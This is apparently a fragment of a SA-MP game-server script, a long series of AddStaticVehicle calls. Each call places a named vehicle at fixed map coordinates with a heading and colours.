    AddStaticVehicle(515,2497.03220000,-2619.11530000,14.65670000,92.05420000,62,78); //Roadtrain
    AddStaticVehicle(515,2497.96530000,-2609.88990000,14.66580000,91.31820000,42,76); //Roadtrain
    AddStaticVehicle(515,2497.81340000,-2604.38950000,14.66900000,90.70520000,54,77); //Roadtrain
    AddStaticVehicle(435,2461.72600000,-2593.12040000,14.28780000,271.31610000,42,76); //Trailer 1
    AddStaticVehicle(435,2463.86910000,-2584.57890000,14.12390000,273.68920000,42,76); //Trailer 1
    AddStaticVehicle(435,2506.87980000,-2630.36310000,14.27770000,94.63030000,42,76); //Trailer 1
    AddStaticVehicle(431,1080.18940000,-1772.70600000,13.44540000,269.33170000,79,7); //Bus
    AddStaticVehicle(431,1081.12030000,-1766.30520000,13.46330000,270.37130000,92,72); //Bus
    AddStaticVehicle(431,1080.39280000,-1760.94440000,13.47290000,269.96920000,87,7); //Bus
    AddStaticVehicle(408,2281.73550000,-2316.40430000,14.08020000,225.07150000,106,26); //Trashmaster
    AddStaticVehicle(408,2272.36980000,-2325.79380000,14.08010000,225.07150000,106,26); //Trashmaster
    AddStaticVehicle(525,2785.35180000,-1834.66360000,9.71290000,222.92370000,52,54); //Tow Truck
    AddStaticVehicle(525,2781.31510000,-1837.88380000,9.66950000,213.87800000,1,1); //Tow Truck
    AddStaticVehicle(525,2776.54460000,-1839.70810000,9.64920000,199.47320000,17,20); //Tow Truck
    AddStaticVehicle(490,781.44920000,-1340.64640000,13.59580000,186.25100000,42,20); //FBI Rancher
    AddStaticVehicle(420,2148.39180000,-1171.09310000,23.60120000,89.42470000,6,1); //Taxi
    AddStaticVehicle(420,2160.98630000,-1178.16950000,23.59930000,90.61570000,6,1); //Taxi
    AddStaticVehicle(420,2148.77510000,-1161.79460000,23.60350000,269.33990000,6,1); //Taxi
    AddStaticVehicle(409,2431.54320000,-1222.90910000,25.05710000,90.36350000,126,126); //Stretch
    AddStaticVehicle(510,1946.73330000,-1381.12680000,18.17930000,131.30200000,43,43); //Mountain Bike
    AddStaticVehicle(510,1876.97960000,-1403.56800000,13.17380000,346.02910000,39,39); //Mountain Bike
    AddStaticVehicle(510,1905.30740000,-1443.32940000,13.11640000,233.34260000,28,28); //Mountain Bike
    AddStaticVehicle(510,1969.42830000,-1444.64070000,13.13640000,23.20240000,16,16); //Mountain Bike
    AddStaticVehicle(522,1970.99030000,-1426.05750000,13.12180000,88.00540000,7,79); //NRG-500
    AddStaticVehicle(522,1914.21860000,-1408.21430000,13.11470000,14.15750000,6,82); //NRG-500
    AddStaticVehicle(556,2657.74820000,-1697.10270000,9.69270000,271.12860000,1,1); //Monster A
    AddStaticVehicle(443,2790.79460000,-2400.30770000,14.06970000,88.32070000,123,123); //Packer
    AddStaticVehicle(406,2596.73530000,-2424.94220000,14.99190000,44.41370000,123,123); //Dumper
    AddStaticVehicle(579,2757.20751953,-2402.65649414,13.73145008,108.83605957,123,123); //Huntley
    AddStaticVehicle(579,2752.35370000,-2423.18490000,13.62870000,18.84110000,123,123); //Huntley
    AddStaticVehicle(515,2740.19970703,-2391.39526367,14.78653336,83.47412109,80,83); //Roadtrain
    AddStaticVehicle(407,1760.08618164,-1465.62304688,13.91687489,0.00000000,3,1); //Firetruck
    AddStaticVehicle(490,1569.91240000,-1709.94220000,6.02060000,178.08000000,-1,-1); //FBI Rancher
    AddStaticVehicle(427,1603.00740000,-1696.27180000,6.03560000,269.38480000,-1,1); //Enforcer
    AddStaticVehicle(485,1975.59960938,-2181.50488281,13.20740032,177.35223389,1,75); //Baggage
    AddStaticVehicle(485,1981.26855469,-2181.66406250,13.20520020,182.18676758,1,75); //Baggage
    AddStaticVehicle(519,1455.92910000,-2453.21170000,14.47380000,187.88800000,1,1); //Shamal
    AddStaticVehicle(519,1988.73986816,-2636.29101562,14.54694748,16.18286133,1,1); //Shamal
    AddStaticVehicle(513,2062.15840000,-2551.97080000,14.07770000,30.71500000,21,36); //Stunt
    AddStaticVehicle(513,1906.75860000,-2448.95590000,14.91510000,185.56460000,4,90); //Stunt
    AddStaticVehicle(487,1990.94396973,-2369.46850586,13.81187534,90.00000000,118,42); //Maverick
    AddStaticVehicle(411,1694.81250000,-2247.73681641,13.34687519,88.11584473,123,1); //Infernus
    AddStaticVehicle(576,1667.32153320,-2247.56054688,13.29788399,91.25793457,65,98); //Tornado
    AddStaticVehicle(538,1701.65530000,-1953.65760000,15.09940000,89.81590000,1,1); //Streak
    AddStaticVehicle(579,-213.66390000,2595.31490000,62.63790000,359.45130000,37,37); //Huntley
    AddStaticVehicle(463,-275.99580000,2719.58440000,62.15380000,178.11740000,3,11); //Freeway
    AddStaticVehicle(463,-172.78550000,2720.20700000,62.02030000,90.60260000,68,96); //Freeway
    AddStaticVehicle(579,-771.03170000,2752.37450000,45.67200000,208.61790000,42,42); //Huntley
    AddStaticVehicle(463,-1399.52740000,2628.28560000,55.32610000,87.42560000,20,6); //Freeway
    AddStaticVehicle(402,-1596.18930000,2686.34710000,54.78230000,176.71560000,110,110); //Buffalo
    AddStaticVehicle(471,-1934.78030000,2376.90820000,49.28130000,291.90490000,17,30); //Quad
    AddStaticVehicle(463,-2608.29740000,2258.32910000,7.74560000,27.66850000,22,22); //Freeway
    AddStaticVehicle(579,-2473.68660000,2225.59250000,4.77400000,359.19930000,53,53); //Huntley
    AddStaticVehicle(487,-2227.42920000,2326.89570000,7.72300000,181.22290000,54,29); //Maverick
    AddStaticVehicle(541,-2304.14070000,2418.35350000,4.65140000,134.91020000,55,1); //Bullet
    AddStaticVehicle(541,-1808.62470000,2043.36290000,8.63250000,298.30190000,55,1); //Bullet
    AddStaticVehicle(468,-1043.36940000,1555.42280000,32.93550000,141.54370000,46,46); //Sanchez
    AddStaticVehicle(579,-866.38840000,1566.41100000,24.72190000,267.78020000,62,62); //Huntley
    AddStaticVehicle(510,-765.44840000,1604.69290000,26.72330000,83.05570000,28,28); //Mountain Bike
    AddStaticVehicle(521,-722.10950000,1438.23420000,18.04400000,126.35310000,75,86); //FCR-900
    AddStaticVehicle(515,-355.70270000,1156.06760000,20.74580000,251.63650000,62,77); //Roadtrain
    AddStaticVehicle(579,-215.30390000,1215.02380000,19.67300000,177.81700000,7,7); //Huntley
    AddStaticVehicle(463,-143.12340000,1113.12690000,19.29030000,228.89030000,94,36); //Freeway
    AddStaticVehicle(468,42.38090000,1219.86530000,18.74440000,170.76730000,53,53); //Sanchez
    AddStaticVehicle(468,114.24890000,1066.29630000,13.48070000,178.19520000,30,1); //Sanchez
    AddStaticVehicle(468,-1482.37020000,1878.25640000,32.30160000,8.96730000,3,3); //Sanchez
    AddStaticVehicle(579,-91.66400000,1339.35490000,10.47580000,7.99590000,10,10); //Huntley
    AddStaticVehicle(579,590.53350000,1222.97980000,11.65840000,237.81300000,44,11); //Huntley
    AddStaticVehicle(468,603.41580000,1650.85360000,6.66210000,60.13810000,6,6); //Sanchez
    AddStaticVehicle(471,802.57610000,1683.27630000,4.76240000,330.66910000,74,91); //Quad
    AddStaticVehicle(471,2519.50730000,-19.53220000,26.16080000,2.34910000,74,91); //Quad
    AddStaticVehicle(493,-649.30621245,867.30743125,0.00000000,228.00000000,0,1); //Jetmax
    AddStaticVehicle(468,-1431.05390000,-955.45540000,200.60270000,93.33460000,6,6); //Sanchez
    AddStaticVehicle(579,-1040.07180000,-1077.18580000,129.19740000,183.33360000,37,37); //Huntley
    AddStaticVehicle(515,-1299.59450000,2707.95160000,51.08200000,183.76980000,62,77); //Roadtrain
    AddStaticVehicle(435,-1539.93790000,-2747.59970000,49.55320000,168.90820000,113,1); //Trailer 1
    AddStaticVehicle(406,-1112.82120000,-1621.16810000,77.35060000,271.29760000,-1,-1); //Dumper
    AddStaticVehicle(579,-1108.46790000,-1644.20830000,76.08010000,267.53510000,81,86); //Huntley
    AddStaticVehicle(579,-1108.48850000,-1654.10310000,76.08480000,251.41380000,32,6); //Huntley
    AddStaticVehicle(562,-2161.36430000,366.86560000,34.97990000,267.30990000,113,1); //Elegy
    AddStaticVehicle(561,-2160.32400000,453.11710000,34.98510000,270.73040000,43,21); //Stratum
    AddStaticVehicle(560,-2429.57820000,320.72900000,34.87730000,239.96870000,44,39); //Sultan
    AddStaticVehicle(558,-2453.55420000,139.62820000,34.59140000,221.90170000,42,1); //Uranus
    AddStaticVehicle(559,-2460.66190000,-23.90510000,32.46090000,89.21550000,51,1); //Jester
    AddStaticVehicle(565,-2484.97390000,-195.47820000,25.24550000,109.87870000,37,37); //Flash
    AddStaticVehicle(561,-2773.95490000,-312.02160000,6.85300000,0.54220000,54,38); //Stratum
    AddStaticVehicle(579,-2751.81380000,-282.72910000,6.96570000,180.14080000,16,6); //Huntley
    AddStaticVehicle(562,-2796.29110000,-136.80930000,6.84770000,270.71750000,101,1); //Elegy
    AddStaticVehicle(560,-2626.76670000,-55.18440000,4.04050000,358.13870000,17,1); //Sultan
    AddStaticVehicle(558,-2679.36800000,-22.76960000,3.96440000,0.59000000,94,1); //Uranus
    AddStaticVehicle(559,-2616.31350000,134.36340000,3.99230000,90.60370000,58,86); //Jester
    AddStaticVehicle(565,-2796.52980000,181.06480000,6.81060000,271.82080000,42,42); //Flash
    AddStaticVehicle(561,-2668.43410000,267.76140000,4.14980000,181.77020000,67,79); //Stratum
    AddStaticVehicle(562,-2675.19824219,369.95117188,4.05000019,266.79199219,92,1); //Elegy
    AddStaticVehicle(560,-2869.91220000,472.36870000,4.58620000,269.47790000,21,1); //Sultan
    AddStaticVehicle(559,-2879.54030000,740.76030000,29.46470000,99.92310000,61,1); //Jester
    AddStaticVehicle(558,-2671.81770000,824.23900000,49.61520000,178.77200000,40,1); //Uranus
    AddStaticVehicle(565,-2538.44780000,746.46410000,31.82360000,272.63290000,53,53); //Flash
    AddStaticVehicle(561,-2371.40430000,707.12980000,34.98260000,92.35630000,37,78); //Stratum
    AddStaticVehicle(562,-2460.54770000,740.88760000,34.67710000,182.73680000,94,1); //Elegy
    AddStaticVehicle(559,-2398.91630000,881.21000000,45.10160000,89.73610000,68,86); //Jester
    AddStaticVehicle(565,-2197.07040000,930.94290000,73.29830000,357.30730000,62,62); //Flash
    AddStaticVehicle(558,-2276.17480469,919.46710205,66.35222626,176.25366211,112,1); //Uranus
    AddStaticVehicle(560,-2569.15260000,990.71830000,77.97770000,181.89590000,37,-1); //Sultan
    AddStaticVehicle(561,-2571.83940000,1148.46870000,55.54010000,157.51600000,65,79); //Stratum
    AddStaticVehicle(556,-1770.65670000,1204.54040000,25.49990000,89.83300000,1,1); //Monster A
    AddStaticVehicle(565,-1943.00250000,1193.62520000,45.03510000,357.76330000,7,7); //Flash
    AddStaticVehicle(562,-2047.83270000,901.35820000,53.28340000,331.82940000,42,1); //Elegy
    AddStaticVehicle(558,-1799.90010000,822.98900000,24.52070000,357.31850000,116,1); //Uranus
    AddStaticVehicle(560,-1519.41350000,925.80620000,6.89140000,356.39600000,42,29); //Sultan
    AddStaticVehicle(559,-2048.24930000,1108.55200000,52.94540000,152.42300000,2,1); //Jester
    AddStaticVehicle(562,-1704.58270000,409.66420000,6.83760000,40.26390000,17,1); //Elegy
    AddStaticVehicle(443,-1835.27570000,122.81750000,15.74750000,178.88340000,94,1); //Packer
    AddStaticVehicle(515,-1726.67220000,47.76300000,4.57070000,208.10620000,3,76); //Roadtrain
    AddStaticVehicle(443,-1576.98080000,120.80610000,4.15670000,334.47360000,40,1); //Packer
    AddStaticVehicle(579,-1872.63520000,-859.03420000,31.95850000,88.23510000,37,37); //Huntley
    AddStaticVehicle(565,-2149.14480000,-952.97360000,31.64520000,88.30310000,44,11); //Flash
    AddStaticVehicle(446,-1574.57770000,1263.42890000,-0.31050000,270.25500000,1,53); //Squalo
    AddStaticVehicle(446,-1720.76090000,1435.81100000,-0.44210000,0.20490000,1,57); //Squalo
    AddStaticVehicle(446,-2931.06870000,1233.23600000,-0.15990000,53.54190000,-1,-1); //Squalo
    AddStaticVehicle(446,-1448.48190000,1507.06790000,-0.47090000,82.05070000,-1,-1); //Squalo
    AddStaticVehicle(522,-2138.05517578,-222.55259705,34.98069000,356.12182617,86,82); //NRG-500
    AddStaticVehicle(522,-2135.13867188,-222.82052612,34.98690796,348.57421875,51,118); //NRG-500
    AddStaticVehicle(515,-1650.15730000,436.99200000,8.19630000,252.34080000,39,78); //Roadtrain
    AddStaticVehicle(435,-1668.31440000,438.12420000,8.20610000,274.05730000,113,1); //Trailer 1
    AddStaticVehicle(408,-1730.11080000,137.17660000,4.10920000,88.41170000,106,26); //Trashmaster
    AddStaticVehicle(408,-1730.26360000,131.65710000,4.10900000,88.41170000,106,26); //Trashmaster
    AddStaticVehicle(515,-1719.94600000,51.24190000,4.56830000,207.72680000,62,78); //Roadtrain
    AddStaticVehicle(435,-1733.90360000,61.22240000,4.18230000,203.42100000,42,76); //Trailer 1
    AddStaticVehicle(435,-1727.55360000,64.35140000,4.19560000,212.35060000,42,76); //Trailer 1
    AddStaticVehicle(490,-2039.27470000,464.50910000,35.29900000,309.31110000,42,20); //FBI Rancher
    AddStaticVehicle(490,-2046.32510000,471.19860000,35.30360000,352.08090000,42,20); //FBI Rancher
    AddStaticVehicle(420,-1852.51430000,-130.60860000,11.68440000,92.65090000,6,1); //Taxi
    AddStaticVehicle(420,-1854.06930000,-141.62630000,11.68030000,82.16940000,6,1); //Taxi
    AddStaticVehicle(560,-1821.96480000,-181.98270000,9.10240000,36.86560000,-1,-1); //Sultan
    AddStaticVehicle(560,-1824.54460000,-151.53530000,9.10410000,183.25030000,-1,-1); //Sultan
    AddStaticVehicle(560,-1817.74000000,-167.87490000,9.10170000,173.09710000,-1,-1); //Sultan
    AddStaticVehicle(431,-1991.91906738,160.49935913,27.78906250,0.37902832,79,7); //Bus
    AddStaticVehicle(431,-1991.75341797,140.63758850,27.78906250,0.59875488,46,74); //Bus
    AddStaticVehicle(560,-1652.10546875,1311.40039062,6.90910006,134.14306641,-1,-1); //Sultan
    AddStaticVehicle(560,-1722.08508301,1347.37829590,6.99247503,43.93151855,52,41); //Sultan
    AddStaticVehicle(560,-1640.36860000,1412.20410000,7.08970000,158.61410000,42,41); //Sultan
    AddStaticVehicle(525,-2104.35530000,-377.80560000,35.20530000,87.58670000,94,43); //Tow Truck
    AddStaticVehicle(525,-2093.21370000,-378.30160000,35.20250000,89.05760000,52,54); //Tow Truck
    AddStaticVehicle(525,-2081.49100000,-378.11390000,35.20550000,88.61070000,1,1); //Tow Truck
    AddStaticVehicle(494,-2133.07110000,-419.60810000,35.23090000,292.31210000,87,75); //Hotring
    AddStaticVehicle(556,-2170.05690000,-404.77090000,35.71080000,318.98800000,1,1); //Monster A
    AddStaticVehicle(556,-2195.99860000,-395.95740000,35.68750000,207.93310000,116,115); //Monster A
    AddStaticVehicle(565,-2019.74310000,-93.93480000,34.88070000,89.09340000,37,6); //Flash
    AddStaticVehicle(565,-2030.14380000,-93.93510000,34.88060000,87.39490000,22,22); //Flash
    AddStaticVehicle(541,-1956.54300000,303.26870000,35.09370000,146.83430000,61,1); //Bullet
    AddStaticVehicle(506,-1955.78150000,294.08050000,35.30730000,147.93940000,18,1); //Super GT
    AddStaticVehicle(521,-1952.73340000,300.22370000,40.60970000,131.62930000,92,3); //FCR-900
    AddStaticVehicle(559,-1989.68164062,270.65917969,34.83190155,266.02795410,2,1); //Jester
    AddStaticVehicle(560,-1990.99609375,259.97167969,34.88479996,262.95178223,42,29); //Sultan
    AddStaticVehicle(562,-1986.27240000,300.82550000,34.83380000,86.86940000,116,1); //Elegy
    AddStaticVehicle(451,-1946.94820000,261.81500000,35.17570000,56.75450000,16,16); //Turismo
    AddStaticVehicle(506,-1954.04520000,258.28200000,40.75180000,316.27740000,52,52); //Super GT
    AddStaticVehicle(411,-1946.93290000,269.44140000,35.20110000,72.29160000,116,1); //Infernus
    AddStaticVehicle(429,-1951.09440000,256.22580000,35.24720000,71.20310000,6,6); //Banshee
    AddStaticVehicle(506,-1658.68900000,1214.56880000,13.37600000,311.76440000,76,76); //Super GT
    AddStaticVehicle(411,-1659.10058594,1212.91308594,20.88330078,316.51062012,106,1); //Infernus
    AddStaticVehicle(541,-1658.36523438,1211.90917969,6.88399982,287.52868652,35,6); //Bullet
    AddStaticVehicle(423,-2755.02180000,-311.67020000,7.06400000,8.14070000,1,5); //Mr Whoopee
    AddStaticVehicle(423,-2750.59940000,-309.15350000,7.05910000,49.52110000,1,15); //Mr Whoopee
    AddStaticVehicle(451,-2394.56230000,-596.50180000,132.35530000,125.74700000,125,125); //Turismo
    AddStaticVehicle(522,-2817.27130000,-9.01800000,6.74950000,267.50200000,94,105); //NRG-500
    AddStaticVehicle(522,-1653.07190000,532.25590000,38.00000000,304.74740000,3,79); //NRG-500
    AddStaticVehicle(522,-1656.74160000,529.57420000,37.99680000,304.52340000,6,25); //NRG-500
    AddStaticVehicle(522,-1659.69840000,527.88280000,38.00520000,307.68600000,7,79); //NRG-500
    AddStaticVehicle(522,-1663.38420000,525.84380000,38.04150000,294.84060000,51,118); //NRG-500
    AddStaticVehicle(548,-1608.55993652,283.08953857,9.08756161,269.84619141,123,123); //Cargobob
    AddStaticVehicle(443,-1491.19677734,673.71862793,7.93187332,0.05810547,4123,123); //Packer
    AddStaticVehicle(425,-1306.79350000,496.36380000,18.80330000,305.62790000,43,-1); //Hunter
    AddStaticVehicle(407,-2021.47106934,92.69802856,28.37854576,268.25866699,3,1); //Firetruck
    AddStaticVehicle(407,-2059.20270000,77.29220000,28.62700000,178.61680000,3,1); //Firetruck
    AddStaticVehicle(597,-1602.38256836,721.93603516,11.26740265,270.00000000,-1,1); //Police Car (SFPD)
    AddStaticVehicle(597,-1588.24470000,673.72520000,6.95720000,2.12080000,-1,1); //Police Car (SFPD)
    AddStaticVehicle(597,-1611.77355957,673.29626465,7.05749989,179.17596436,-1,1); //Police Car (SFPD)
    AddStaticVehicle(597,-1604.77570000,651.01420000,6.95340000,178.94580000,-1,1); //Police Car (SFPD)
    AddStaticVehicle(446,-1476.44910000,693.18400000,-0.31660000,172.17570000,46,26); //Squalo
    AddStaticVehicle(427,-1612.78220000,734.03160000,-5.11040000,2.27020000,-1,1); //Enforcer
    AddStaticVehicle(427,-1596.89360000,748.85600000,-5.11080000,178.99780000,-1,1); //Enforcer
    AddStaticVehicle(523,-1612.16149902,749.54650879,-5.58181000,179.69787598,-1,-1); //HPV1000
    AddStaticVehicle(497,-1681.28552246,704.52380371,30.86656189,93.18054199,-1,1); //Police Maverick
    AddStaticVehicle(490,-1616.91610000,693.24840000,-5.11190000,356.11690000,-1,-1); //FBI Rancher
    AddStaticVehicle(490,-1573.48490000,705.74180000,-5.19870000,92.46370000,-1,-1); //FBI Rancher
    AddStaticVehicle(541,-2681.73690000,1261.28140000,55.18820000,180.57940000,86,1); //Bullet
    AddStaticVehicle(446,-1110.36190000,330.69640000,-0.57710000,311.07990000,1,22); //Squalo
    AddStaticVehicle(446,-1154.16340000,-490.48630000,-0.41000000,322.52340000,1,22); //Squalo
    AddStaticVehicle(562,-1429.18230000,-288.77100000,13.80900000,57.25270000,3,1); //Elegy
    AddStaticVehicle(513,-1434.96530000,-532.17970000,15.52430000,204.38270000,12,60); //Stunt
    AddStaticVehicle(513,-1609.95240000,-618.16200000,14.66910000,278.84900000,21,34); //Stunt
    AddStaticVehicle(513,-1573.32680000,-604.62080000,14.71790000,282.85340000,30,34); //Stunt
    AddStaticVehicle(519,-1331.14460000,-263.00450000,15.08390000,312.98910000,1,1); //Shamal
    AddStaticVehicle(519,-1366.17030000,-225.42980000,15.08250000,312.98920000,1,1); //Shamal
    AddStaticVehicle(485,-1527.96484375,-452.83398438,5.69500017,336.03527832,1,77); //Baggage
    AddStaticVehicle(485,-1566.13745117,-419.96206665,5.80699301,320.01330566,1,77); //Baggage
    AddStaticVehicle(487,-1223.22050000,-11.92010000,14.32500000,42.12230000,106,3); //Maverick
    AddStaticVehicle(519,-1473.58471680,-189.44020081,15.14850998,12.20458984,71,87); //Shamal
    AddStaticVehicle(560,-1824.93820000,-13.34110000,14.91800000,327.59690000,83,1); //Sultan
    AddStaticVehicle(560,-1735.73130000,1012.07970000,17.38660000,267.76550000,91,1); //Sultan
    AddStaticVehicle(409,-2612.61160000,1401.79610000,6.91550000,201.15190000,126,126); //Stretch
    AddStaticVehicle(409,-2640.26171875,1377.64831543,7.06924868,269.43420410,126,126); //Stretch
    AddStaticVehicle(464,-2244.11890000,137.39270000,34.61280000,91.52640000,14,75); //RC Baron
    AddStaticVehicle(464,-2244.01880000,133.63310000,34.61330000,91.52700000,14,75); //RC Baron
    AddStaticVehicle(464,-2243.80940000,125.79880000,34.61440000,91.52700000,14,75); //RC Baron
    AddStaticVehicle(464,-2243.67310000,120.69850000,34.61520000,91.52700000,14,75); //RC Baron
    AddStaticVehicle(449,-2006.50000000,83.47100000,27.99720000,0.00000000,1,1); //Tram
    AddStaticVehicle(538,-1943.21880000,159.90910000,27.22450000,357.24600000,1,1); //Streak
    AddStaticVehicle(579,2380.21770000,75.91320000,27.02100000,92.59590000,17,86); //Huntley
    AddStaticVehicle(468,2207.67080000,110.80870000,27.16250000,88.84570000,46,46); //Sanchez
    AddStaticVehicle(463,2254.81290000,-124.67090000,26.85820000,176.22320000,53,53); //Freeway
    AddStaticVehicle(510,1927.57780000,176.12190000,36.88970000,82.20130000,39,39); //Mountain Bike
    AddStaticVehicle(579,1387.59700000,265.28960000,19.49930000,69.59170000,37,37); //Huntley
    AddStaticVehicle(468,1277.52680000,171.59300000,19.73130000,323.71190000,53,53); //Sanchez
    AddStaticVehicle(471,1219.78180000,295.30310000,19.03450000,59.51520000,120,112); //Quad
    AddStaticVehicle(402,889.04820000,-24.30390000,63.07180000,157.75660000,10,10); //Buffalo
    AddStaticVehicle(515,798.15990000,-616.17610000,17.39220000,1.96080000,53,76); //Roadtrain
    AddStaticVehicle(468,668.21080000,-545.14450000,15.99840000,266.70620000,3,3); //Sanchez
    AddStaticVehicle(490,626.54020000,-600.62190000,16.90850000,309.76580000,-1,-1); //FBI Rancher
    AddStaticVehicle(471,683.04900000,-442.94430000,15.81660000,104.79320000,74,83); //Quad
    AddStaticVehicle(579,243.02160000,-294.38520000,1.51020000,277.11810000,42,42); //Huntley
    AddStaticVehicle(515,69.02950000,-253.65670000,2.58620000,320.91070000,17,77); //Roadtrain
    AddStaticVehicle(468,182.94540000,-6.98370000,1.24430000,359.79580000,6,6); //Sanchez
    AddStaticVehicle(463,362.71120000,-93.89750000,0.90310000,271.13110000,79,79); //Freeway
    AddStaticVehicle(402,-75.66180000,-4.78040000,2.94970000,164.25950000,3,101); //Buffalo
    AddStaticVehicle(579,-478.44140000,-61.12830000,60.26470000,76.52140000,53,53); //Huntley
    AddStaticVehicle(468,-539.22800000,-472.18620000,25.18700000,180.54890000,46,46); //Sanchez
    AddStaticVehicle(463,-571.13020000,-1050.62710000,23.36730000,244.29840000,84,84); //Freeway
    AddStaticVehicle(579,-580.77570000,-1062.89150000,23.40920000,236.66920000,62,62); //Huntley
    AddStaticVehicle(471,-371.01520000,-1437.49200000,25.20800000,270.08130000,120,113); //Quad
    AddStaticVehicle(579,-942.01410000,-524.55880000,25.90580000,308.55640000,7,7); //Huntley
    AddStaticVehicle(471,-845.09720000,-1956.09750000,13.82820000,300.59210000,66,71); //Quad
    AddStaticVehicle(468,-1417.77760000,-1576.32780000,101.42230000,358.56070000,53,53); //Sanchez
    AddStaticVehicle(406,-1918.26196289,-1709.33325195,24.50132561,134.25842285,1,1); //Dumper
    AddStaticVehicle(408,-1891.76806641,-1738.53869629,22.50000000,125.13427734,55,26); //Trashmaster
    AddStaticVehicle(468,-2048.77050781,-2522.50781250,30.29400063,118.29528809,3,3); //Sanchez
    AddStaticVehicle(515,-1950.28250000,-2449.46170000,31.64410000,179.39660000,62,78); //Roadtrain
    AddStaticVehicle(579,-2201.08960000,-2430.70950000,30.55990000,53.01770000,44,11); //Huntley
    AddStaticVehicle(463,-2194.20560000,-2265.33700000,30.16510000,133.14410000,7,7); //Freeway
    AddStaticVehicle(471,-1223.47490000,-2629.40830000,9.50310000,248.32090000,120,117); //Quad
    AddStaticVehicle(471,-1362.40870000,-2144.40170000,26.45330000,237.13920000,120,117); //Quad
    AddStaticVehicle(579,-1204.12320000,1813.05680000,41.63410000,45.18640000,3,11); //Huntley
    AddStaticVehicle(515,-1530.23720000,-2752.91390000,49.55610000,172.86970000,42,76); //Roadtrain
    AddStaticVehicle(435,-1291.63930000,2714.05560000,51.07090000,186.07910000,54,77); //Trailer 1
    AddStaticVehicle(409,701.65140000,1947.18050000,5.33900000,180.36590000,126,126); //Stretch
    AddStaticVehicle(406,548.04570000,853.49900000,-41.05140000,257.60040000,1,1); //Dumper
    AddStaticVehicle(406,675.46130000,895.08330000,-38.68720000,97.32640000,1,1); //Dumper
    AddStaticVehicle(592,-46.21360000,2501.80540000,17.68020000,269.05270000,1,1); //Andromada
    AddStaticVehicle(487,365.55460000,2537.98600000,17.13520000,181.97630000,12,39); //Maverick
    AddStaticVehicle(513,326.74240000,2539.28410000,15.85840000,177.42730000,7,6); //Stunt
    AddStaticVehicle(513,291.70090000,2540.85860000,15.85840000,177.42730000,7,6); //Stunt
    AddStaticVehicle(539,-2214.56250000,2422.38010000,1.85670000,0.83460000,79,74); //Vortex
    AddStaticVehicle(539,-2231.83480000,2440.73460000,1.85010000,290.64270000,70,86); //Vortex
    AddStaticVehicle(446,-2243.11280000,2442.17670000,-0.53620000,229.44430000,3,3); //Squalo
    AddStaticVehicle(446,-2213.95240000,2413.64690000,-0.63600000,37.62120000,1,53); //Squalo
    AddStaticVehicle(579,-1276.72560000,2495.81510000,86.95240000,40.22280000,43,-1); //Huntley
    AddStaticVehicle(579,-1307.26460000,2520.34740000,87.30320000,240.61860000,43,-1); //Huntley
    AddStaticVehicle(579,-1328.77800000,2540.20970000,86.39640000,213.62530000,43,-1); //Huntley
    AddStaticVehicle(487,-1321.71590000,2513.58370000,92.70230000,175.26570000,3,29); //Maverick
    AddStaticVehicle(451,-340.01560000,1515.77890000,75.06550000,0.53110000,61,61); //Turismo
    AddStaticVehicle(451,-318.10410000,1515.22210000,75.06430000,358.24810000,75,75); //Turismo
    AddStaticVehicle(451,-268.26850000,1544.58560000,75.06680000,134.30380000,123,123); //Turismo
    AddStaticVehicle(425,338.53200000,1944.80160000,20.79990000,91.92530000,43,-1); //Hunter
    AddStaticVehicle(425,338.13300000,1976.69670000,20.79960000,92.01300000,43,-1); //Hunter
    AddStaticVehicle(490,-1399.90080000,2650.06900000,55.87500000,90.32460000,-1,-1); //FBI Rancher
    AddStaticVehicle(490,224.20530000,1908.63310000,17.82430000,124.83790000,-1,-1); //FBI Rancher
    AddStaticVehicle(490,197.55090000,1905.64250000,17.82880000,247.52250000,-1,-1); //FBI Rancher
    AddStaticVehicle(490,130.06430000,1928.67910000,19.39360000,173.96180000,-1,-1); //FBI Rancher
    AddStaticVehicle(427,143.87440000,1928.21150000,19.32920000,181.00410000,-1,1); //Enforcer
    AddStaticVehicle(425,-1254.00268555,2620.10937500,89.91601562,180.84594727,43,-1); //Hunter
    AddStaticVehicle(446,-929.60560000,2644.96530000,40.05080000,132.29730000,-1,-1); //Squalo
    AddStaticVehicle(539,-909.35410000,2698.45890000,41.72740000,137.58210000,61,98); //Vortex
    AddStaticVehicle(411,2075.38400000,1145.08380000,10.39900000,357.97670000,80,1); //Infernus
    AddStaticVehicle(506,2038.98190000,1182.06170000,10.37620000,178.60620000,3,3); //Super GT
    AddStaticVehicle(541,2119.88520000,1398.48530000,10.43730000,359.11040000,61,1); //Bullet
    AddStaticVehicle(451,2039.85980000,1334.26520000,10.37880000,179.48100000,61,61); //Turismo
    AddStaticVehicle(429,2039.22360000,1352.47310000,10.35150000,178.60530000,1,3); //Banshee
    AddStaticVehicle(402,2039.62730000,1546.09920000,10.50360000,177.16000000,10,10); //Buffalo
    AddStaticVehicle(411,2074.53630000,1481.81210000,10.39900000,358.20300000,12,1); //Infernus
    AddStaticVehicle(562,2075.63740000,1595.14160000,10.33150000,358.53320000,44,1); //Elegy
    AddStaticVehicle(560,2039.72720000,1695.96500000,10.37700000,182.60690000,44,39); //Sultan
    AddStaticVehicle(558,2099.13230000,1820.92040000,10.30180000,155.13250000,30,1); //Uranus
    AddStaticVehicle(451,2119.65400000,1922.33860000,10.37880000,179.40690000,75,75); //Turismo
    AddStaticVehicle(506,2172.13030000,1984.99130000,10.65830000,89.15170000,51,1); //Super GT
    AddStaticVehicle(506,2102.97580000,2043.16290000,10.52480000,91.03840000,6,6); //Super GT
    AddStaticVehicle(559,2155.18450000,2118.93840000,10.32820000,359.97960000,61,1); //Jester
    AddStaticVehicle(411,2119.98970000,2189.41230000,10.39900000,181.92010000,65,1); //Infernus
    AddStaticVehicle(561,2155.24460000,2197.41210000,10.48490000,0.32030000,54,38); //Stratum
    AddStaticVehicle(565,2009.71450000,2455.65500000,10.44480000,87.92370000,53,53); //Flash
    AddStaticVehicle(429,1969.50130000,2410.83120000,10.50000000,181.78500000,3,1); //Banshee
    AddStaticVehicle(579,2048.22940000,688.97660000,11.20980000,0.66390000,37,37); //Huntley
    AddStaticVehicle(565,2353.00170000,698.37130000,10.90900000,359.91290000,62,62); //Flash
    AddStaticVehicle(451,2622.93160000,730.65110000,10.52680000,181.46690000,123,123); //Turismo
    AddStaticVehicle(402,2843.64940000,897.34850000,10.58950000,358.42980000,53,6); //Buffalo
    AddStaticVehicle(443,2842.18550000,994.72800000,11.40550000,177.93240000,84,1); //Packer
    AddStaticVehicle(541,2636.36350000,1076.02850000,10.44530000,91.69470000,68,6); //Bullet
    AddStaticVehicle(558,2551.10910000,1238.93610000,10.45110000,1.98230000,42,1); //Uranus
